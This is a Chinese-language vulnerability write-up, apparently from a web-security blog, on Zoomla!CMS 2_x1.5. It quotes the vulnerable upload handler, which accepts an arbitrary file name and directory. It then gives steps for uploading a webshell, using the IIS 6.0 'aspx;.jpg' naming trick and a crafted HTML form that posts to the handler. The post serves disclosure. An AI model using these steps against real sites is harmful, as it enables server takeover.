文件目录随意保存影响版本:包含此文件的版本均受影响 拿Shell影响版本:包含此文件的版本均受影响 仅是(IIS6.0) 依官网最新版本为测试对象 Zoomla!CMS2_x1.5 首先还是问题出现的部分 文件 \User\UploadHandler.ashx 看代码-------------
HttpPostedFile file = context.Request.Files["Filedata"]; if (context.Request["content"] != null || context.Request["content"] != "0") { context.Response.ContentType = "text/plain"; context.Response.Charset = "utf-8"; string PhPath = ""; context.Response.Write(context.Server.UrlDecode(context.Request["Dir"])); string path = HttpContext.Current.Server.MapPath("\\" + SiteConfig.SiteOption.UploadDir + "\\") + uinfo.UserName + "\\" + context.Server.UrlDecode(context.Request["Dir"]) + "\\"; PhPath = path; if (file != null) { if (!Directory.Exists(path)) { Directory.CreateDirectory(path); } string[] str = file.FileName.Split('.'); if (str.Length > 0) { ######### //path += DateTime.Now.ToString("yyyyMMddHHmmssfffffff") + "." + str[str.Length - 1]; path += file.FileName; file.SaveAs(path); } //throw new Exception(path.Replace(PhPath, "\\UploadFiles")); //上传成功后让上传队列的显示自动消失 context.Response.Write(path.Replace(PhPath, "").Replace('\\', '/')); } else { context.Response.Write("0"); } }
问题出现在 path中 有三个地方存在危险 一个是 uinfo.UserName 一个是 context.Request["Dir"] 还有一个则是 path += file.FileName; file.SaveAs(path); 首先第一种方式 则是 则是尼玛直接利用IIS解析 漏洞 xxx. aspx;.jpg 敢问官方 ######### //path += DateTime.Now.ToString("yyyyMMddHHmmssfffffff") + "." + str[str.Length - 1]; 这个事干吊用的? 图: 那么首先用第二种方式 uinfo.UserName 用户名的方式进行shell 注册-----》 注:这里不能注册.aspx的用户 原因在golbal中 代码片段如下 if (((base.Application["safeDomain"] != null) && !string.IsNullOrEmpty(base.Application["safeDomain"].ToString())) && (base.Request.RawUrl.ToLower().Contains(".aspx") ------------这里 && !ZoomlaSecurityCenter.IsSafeDomain(base.Application["safeDomain"].ToString().ToLower())))
先登录 本地创建一个.aspx代码片段如下 <form id="form1" runat="server" method="post" action="http://192.168.10.19:9992/User/UploadHandler.ashx?content=aaaaaaaaa&Dir=abc"> <div> <asp:FileUpload ID="Filedata" runat="server" /><input id="Submit1" type="submit" value="submit" /> </div> </form>
然后上传得到文件 访问地址则为 Domain/UploadFiles/用户名/abc/文件名 Shell到手 图: |
-
上一篇: 逐浪cms SQL注入 - 网站安全 - 自学php
下一篇: 逐浪分站留言板XSS - 网站安全 - 自学php
还没有人抢沙发呢~